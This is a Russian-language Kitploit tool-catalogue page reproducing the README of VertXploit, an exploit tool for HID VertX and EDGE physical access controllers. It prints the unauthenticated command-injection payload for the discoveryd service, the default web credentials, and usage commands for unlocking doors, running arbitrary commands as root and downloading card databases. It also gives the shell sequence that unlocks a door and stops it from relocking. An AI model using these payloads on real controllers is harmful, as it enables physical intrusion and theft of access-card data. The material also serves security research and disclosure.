Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/coldfusion39/vertxploit
Картирование сетиАнализ уязвимостейЭксплуатацияСбор информацииПост-эксплуатацияБезопасность оборудования и IoT
GitHubcoldfusion39/vertxploit

VertXploit

Эксплуатация систем контроля доступа HID VertX и EDGE

Репозиторий
251089 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

VertXploit

Эксплуатация систем контроля доступа HID VertX и EDGE

Краткое описание

VertXploit — это инструмент, который можно использовать для эксплуатации систем контроля доступа HID VertX и EDGE.

В службе discoveryd существует уязвимость, которая не выполняет очистку пользовательских данных перед вызовом системных функций. Это позволяет выполнять произвольный код на системах контроля доступа HID VertX и EDGE без аутентификации. См. раздел Command Injection для получения дополнительной информации.

VertXploit может разблокировать или заблокировать двери, подключенные к системе контроля доступа, загружать базы данных, содержащие все предоставленные/закешированные карты контроля доступа, и выполнять произвольные команды от имени root на системе VertX, если она уязвима.

Если прошивка контроллера VertX была недавно обновлена, vertXploit попытается разблокировать или заблокировать двери через веб-консоль, используя имя пользователя и пароль по умолчанию или указанные пользователем.

Требования

Выполните pip install -r requirements.txt для установки необходимых модулей Python.

  • python-nmap
  • requests
  • tabulate

Использование VertXploit

Выполните ./vertXploit.py -h для показа меню справки или ./vertXploit.py ACTION -h для показа справки по конкретному действию.

Discover

Запустите vertXploit только с аргументом действия discover, чтобы обнаружить все системы контроля доступа HID в локальной широковещательной сети. Если указать IP-адрес с помощью необязательного аргумента --ip IP, vertXploit использует python-nmap для сканирования диапазона сети /24 на предмет систем с открытым портом 4050. Затем VertXploit отправит UDP-пакет обнаружения на указанный IP-адрес, чтобы определить, является ли эта система панелью контроля доступа HID.

Пример:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

Fingerprint

После обнаружения контроллера запустите vertXploit с аргументом действия fingerprint и IP-адресом контроллера доступа, чтобы получить подробную информацию о панели контроля доступа.

Пример:

./vertXploit.py fingerprint 10.1.10.5

Разблокировка/Блокировка

Чтобы разблокировать или заблокировать двери, подключенные к панели контроля доступа, запустите vertXploit с аргументом действия unlock или lock и IP-адресом контроллера. Если контроллер не уязвим к эксплуатации внедрения команд, vertXploit попытается разблокировать или заблокировать двери через веб-консоль. Этот метод использует имя пользователя по умолчанию 'root' и пароль по умолчанию 'pass', либо вы можете указать свои собственные с помощью аргументов --username USERNAME и --password PASSWORD.

Пример:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

Raw

Произвольные команды Linux могут быть выполнены в системе контроля доступа с помощью аргумента действия raw и IP-адреса контроллера. Команда может не выполниться, если она не установлена на контроллере (Python, Perl, Ruby и т. д.). В качестве простого доказательства концепции встроенная команда Linux 'ping', похоже, работает на всех протестированных моделях VertX и EDGE.

Пример:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

Download

Чтобы загрузить базы данных карт контроллера, запустите vertXploit с аргументом действия download и IP-адресом контроллера. Контроллер должен быть уязвим к уязвимости внедрения команд, и вы должны иметь доступ к веб-интерфейсу контроллера, чтобы загрузить обе базы данных карт. Для веб-аутентификации используются имя пользователя по умолчанию 'root' и пароль по умолчанию 'pass', либо вы можете указать свои собственные с помощью аргументов --username USERNAME и --password PASSWORD.

Пример:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

Dump

После загрузки баз данных 'IdentDB' и 'AccessDB' с контроллера используйте аргумент действия dump, чтобы выгрузить содержимое баз данных. При желании можно указать локальный путь к файлам баз данных с помощью аргумента --path PATH.

Пример:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

Внедрение команд

Обычно несколько контроллеров доступа VertX или EDGE устанавливаются и размещаются вместе. Диагностическая команда command_blink_on может быть отправлена на конкретный контроллер, что заставляет физический светодиод "Comm" панели мигать для визуальной идентификации. Эта команда обычно завершается количеством миганий светодиода, в данном случае 30 раз.

command_blink_on;044;00:11:22:33:44:55;30;

Заменив количество миганий на команду Linux, заключённую в обратные кавычки, команда будет выполнена на контроллере доступа от имени root.

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

Чтобы удаленно разблокировать и заблокировать двери, подключенные к системе контроля доступа, команды записываются в /tmp/a. Это делается потому, что существует ограничение длины в 41 символ, не считая двух обратных кавычек, которое может быть отправлено контроллеру. Примечание: echo используется вместо printf, потому что на некоторых старых контроллерах VertX работает BusyBox < 1.0.1, который не включает printf.

Символы новой строки, появляющиеся при записи команд в файл, затем удаляются выполнением tr -d '\n' < /tmp/a > /tmp/b, а намеренные новые строки вставляются выполнением tr '!' '\n' < /tmp/b > /tmp/a.

Затем выполняется скрипт /tmp/a, и оба файла удаляются. Ниже показано, какие команды записываются в /tmp/a, когда команды разблокировки и блокировки отправляются на контроллер VertX.

Разблокировка

root@kitploit:~
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Блокировка

root@kitploit:~
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Ресурсы

  • HeadlessZeke - Уязвимость внедрения команд
  • ZDI - Публичное раскрытие
  • TrendMicro Blog - Блог об уязвимости внедрения команд
  • Brad Antoniewicz - Разбор номеров карт из кэша VertX
  • Other Work - Команды обнаружения VertX
Скачать инструмент